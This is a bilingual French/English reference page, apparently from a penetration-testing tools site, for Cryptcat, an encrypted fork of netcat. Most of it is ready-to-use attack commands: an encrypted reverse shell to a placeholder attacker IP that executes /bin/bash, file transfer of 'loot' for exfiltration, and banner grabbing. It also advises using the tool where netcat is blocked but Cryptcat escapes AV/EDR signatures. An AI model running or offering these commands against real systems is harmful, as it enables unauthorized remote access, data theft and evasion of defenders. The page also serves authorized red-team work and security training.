← retour aux outils back to tools

# Cryptcat

Variante de netcat avec chiffrement Twofish intégré du flux de données, utilisée pour des shells chiffrés et du transfert de fichiers sans outillage externe. Netcat variant with built-in Twofish encryption for the data stream, used for encrypted shells and file transfer without external tooling.

↗ http://cryptcat.sourceforge.net

## Overview

Cryptcat is a lightweight fork of netcat that transparently encrypts traffic between endpoints using the Twofish cipher. It’s handy on engagements where you want an encrypted reverse/bind shell or file transfer channel without setting up SSH or TLS, using the same simple syntax as classic netcat.

## Common Usage

Listener (attacker) — bind shell catcher

    cryptcat -l -p 4444

Connect back with a shared secret key

    cryptcat -l -p 4444 -k mysecretkey

Reverse shell (target)

    cryptcat <attacker_ip> 4444 -e /bin/bash -k mysecretkey

File transfer — receiver

    cryptcat -l -p 4444 -k mysecretkey > loot.zip

File transfer — sender

    cryptcat <receiver_ip> 4444 -k mysecretkey < loot.zip

Quick port banner grab

    cryptcat -v <target> 80

## Tips

- Both ends must use the same `-k` key, or Cryptcat falls back to a default (well-known) key — don’t rely on that for real engagements
- Traffic is still plaintext-shaped at the protocol level (no TLS handshake), so it can stand out to traffic-analysis tooling even though the payload is encrypted
- Useful on hosts where netcat is blocked/monitored but Cryptcat isn’t in the AV/EDR signature set, or where you need quick encrypted exfil without standing up infrastructure

Help / Man page

    cryptcat [-options] hostname port[s] [ports] ...
    cryptcat -l -p port [-options] [hostname] [port]

    Options:
      -e prog        program to exec after connect
      -h             this cruft
      -i secs        delay interval for lines sent, ports scanned
      -k key         encryption key (default key used if omitted)
      -l             listen mode, for inbound connects
      -n             numeric-only IP addresses, no DNS
      -o file        hex dump of traffic
      -p port        local port number
      -r             randomize local and remote ports
      -s addr        local source address
      -u             UDP mode
      -v             verbose (use twice for more)
      -w secs        timeout for connects and final net reads
      -z             zero-I/O mode (used for scanning)

## Vue d’ensemble

Cryptcat est un fork léger de netcat qui chiffre de façon transparente le trafic entre les extrémités avec le cipher Twofish. Il est pratique en mission quand vous voulez un reverse/bind shell chiffré ou un canal de transfert de fichiers sans mettre en place SSH ou TLS, avec la même syntaxe simple que le netcat classique.

## Utilisation courante

    # Listener (attaquant) : récepteur de bind shell
    cryptcat -l -p 4444

    # Se connecter en retour avec une clé secrète partagée
    cryptcat -l -p 4444 -k mysecretkey

    # Reverse shell (cible)
    cryptcat <attacker_ip> 4444 -e /bin/bash -k mysecretkey

    # Transfert de fichiers : récepteur
    cryptcat -l -p 4444 -k mysecretkey > loot.zip

    # Transfert de fichiers : émetteur
    cryptcat <receiver_ip> 4444 -k mysecretkey < loot.zip

    # Récupération rapide de bannière de port
    cryptcat -v <target> 80

## Conseils

- Les deux extrémités doivent utiliser la même clé `-k`, sinon Cryptcat retombe sur une clé par défaut (bien connue) : ne comptez pas dessus pour de vraies missions
- Le trafic conserve la forme d’un protocole en clair (pas de handshake TLS), donc il peut ressortir aux outils d’analyse de trafic même si la charge utile est chiffrée
- Utile sur les hôtes où netcat est bloqué/surveillé mais où Cryptcat n’est pas dans les signatures AV/EDR, ou quand vous avez besoin d’une exfil chiffrée rapide sans monter d’infrastructure

Aide / Page de manuel

    cryptcat [-options] hostname port[s] [ports] ...
    cryptcat -l -p port [-options] [hostname] [port]

    Options:
      -e prog        program to exec after connect
      -h             this cruft
      -i secs        delay interval for lines sent, ports scanned
      -k key         encryption key (default key used if omitted)
      -l             listen mode, for inbound connects
      -n             numeric-only IP addresses, no DNS
      -o file        hex dump of traffic
      -p port        local port number
      -r             randomize local and remote ports
      -s addr        local source address
      -u             UDP mode
      -v             verbose (use twice for more)
      -w secs        timeout for connects and final net reads
      -z             zero-I/O mode (used for scanning)